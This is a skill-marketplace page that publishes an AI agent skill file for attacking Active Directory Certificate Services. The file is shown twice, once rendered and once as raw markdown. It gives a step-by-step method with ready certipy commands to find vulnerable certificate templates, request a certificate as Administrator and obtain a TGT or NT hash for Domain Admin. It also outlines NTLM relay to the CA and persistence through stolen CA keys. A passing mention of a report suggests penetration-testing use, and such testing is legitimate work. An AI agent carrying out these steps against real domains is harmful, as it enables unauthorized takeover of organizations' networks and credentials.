How do I install the Ad Adcs skill?

Run npx skillmds@latest add noorqureshi/ad-adcs in your terminal (requires Node.js), paste this page's agent-chat prompt into Claude, Cursor, or any MCP-connected agent, or download the SKILL.md file and copy it into your agent's skills directory.

Is Ad Adcs safe to use?

This skill has not completed SkillMD's automated safety review yet. SkillMD never runs a skill's scripts for you; review the SKILL.md before installing.

Which AI agents work with Ad Adcs?

This skill is tagged as working with Claude Code, Claude.ai, OpenAI Codex. SKILL.md is an open format, so most agents that read a skills directory can load it too.

Is Ad Adcs free to use?

Yes. Installing skills from SkillMD is free, and the skill stays under its author's original license.

Who published Ad Adcs?

NoorQureshi (@noorqureshi) published this skill. Their other Agent Skills are listed on their SkillMD profile.

Ad Adcs by noorqureshi — Agent Skill

Name: Ad Adcs
Author: NoorQureshi

Ad Adcs

Attack Active Directory Certificate Services (ADCS) — ESC1–ESC8 template/CA misconfigurations to escalate to Domain Admin. Load with a domain foothold/creds where ADCS is present, on "certipy", "ESC1", "certificate template", or a CA server. Signals: Cert Publishers, pKIEnrollmentService, ports 443/135 on a CA, certipy find output.

NoorQureshi 8f09836 2.3 KB Updated Sep 17, 2026

File contents

ADCS abuse (ESC1–ESC8)

When it applies

The domain runs Active Directory Certificate Services and you have any authenticated foothold. Misconfigured certificate templates or CA settings let a low-priv user obtain a certificate that authenticates as a privileged account — a fast, reliable path to Domain Admin.

Why it works

Certificates can be used for Kerberos (PKINIT) authentication. If a template lets an enrollee specify the subject (SAN) and permits client-auth, a normal user can request a cert as Domain Admin. Other ESCs abuse enrollment-agent rights, vulnerable CA ACLs, NTLM relay to the CA (ESC8), or the CA cert's private key.

Method

Enumerate: certipy find -u user@corp.local -p pass -dc-ip DC -vulnerable -stdout — flags ESC1–ESC8 with the misconfigured templates/CA.
ESC1 (SAN abuse, most common): request a cert for a privileged UPN from a vulnerable template: certipy req -u user@corp.local -p pass -ca CORP-CA -template VulnTemplate -upn administrator@corp.local.
Authenticate as the target: certipy auth -pfx administrator.pfx -dc-ip DC → gets the TGT/NT hash for Administrator → DA.
Other ESCs: ESC8 = relay AD auth to the CA web endpoint (→ network-ntlm-relay) to get a cert for a DC; ESC4 = you can edit a template's ACL to make it ESC1; ESC6 = CA EDITF_ATTRIBUTESUBJECTALTNAME2.
Persistence angle: a stolen CA key or a machine cert survives password resets — note for the report.

Gotchas

Confirm the template allows client authentication and enrollee-supplied subject for ESC1.
Clock skew breaks Kerberos/PKINIT — sync time to the DC.
Certipy's find -vulnerable names the exact ESC — don't guess the path.

Verify success

A certificate that authenticates as a privileged principal (TGT/NT hash obtained for Administrator or a DC), demonstrating escalation.

References

SpecterOps "Certified Pre-Owned"; Certipy wiki; BloodHound ADCS edges.

---name: ad-adcsdescription: Attack Active Directory Certificate Services (ADCS) — ESC1–ESC8 template/CA misconfigurations to escalate to Domain Admin. Load with a domain foothold/creds where ADCS is present, on "certipy", "ESC1", "certificate template", or a CA server. Signals: Cert Publishers, pKIEnrollmentService, ports 443/135 on a CA, certipy find output.---# ADCS abuse (ESC1–ESC8)## When it appliesThe domain runs Active Directory Certificate Services and you have any authenticated foothold.Misconfigured certificate templates or CA settings let a low-priv user obtain a certificate thatauthenticates as a privileged account — a fast, reliable path to Domain Admin.## Why it worksCertificates can be used for Kerberos (PKINIT) authentication. If a template lets an enrolleespecify the subject (SAN) and permits client-auth, a normal user can request a cert *as* DomainAdmin. Other ESCs abuse enrollment-agent rights, vulnerable CA ACLs, NTLM relay to the CA(ESC8), or the CA cert's private key.## Method1. **Enumerate**: `certipy find -u user@corp.local -p pass -dc-ip DC -vulnerable -stdout` — flags ESC1–ESC8 with the misconfigured templates/CA.2. **ESC1 (SAN abuse, most common)**: request a cert for a privileged UPN from a vulnerable template: `certipy req -u user@corp.local -p pass -ca CORP-CA -template VulnTemplate -upn administrator@corp.local`.3. **Authenticate as the target**: `certipy auth -pfx administrator.pfx -dc-ip DC` → gets the TGT/NT hash for Administrator → DA.4. **Other ESCs**: ESC8 = relay AD auth to the CA web endpoint (→ `network-ntlm-relay`) to get a cert for a DC; ESC4 = you can edit a template's ACL to make it ESC1; ESC6 = CA `EDITF_ATTRIBUTESUBJECTALTNAME2`.5. **Persistence angle**: a stolen CA key or a machine cert survives password resets — note for the report.## Gotchas- Confirm the template allows **client authentication** and **enrollee-supplied subject** for ESC1.- Clock skew breaks Kerberos/PKINIT — sync time to the DC.- Certipy's `find -vulnerable` names the exact ESC — don't guess the path.## Verify successA certificate that authenticates as a privileged principal (TGT/NT hash obtained for Administratoror a DC), demonstrating escalation.## ReferencesSpecterOps "Certified Pre-Owned"; Certipy wiki; BloodHound ADCS edges.

Frequently asked questions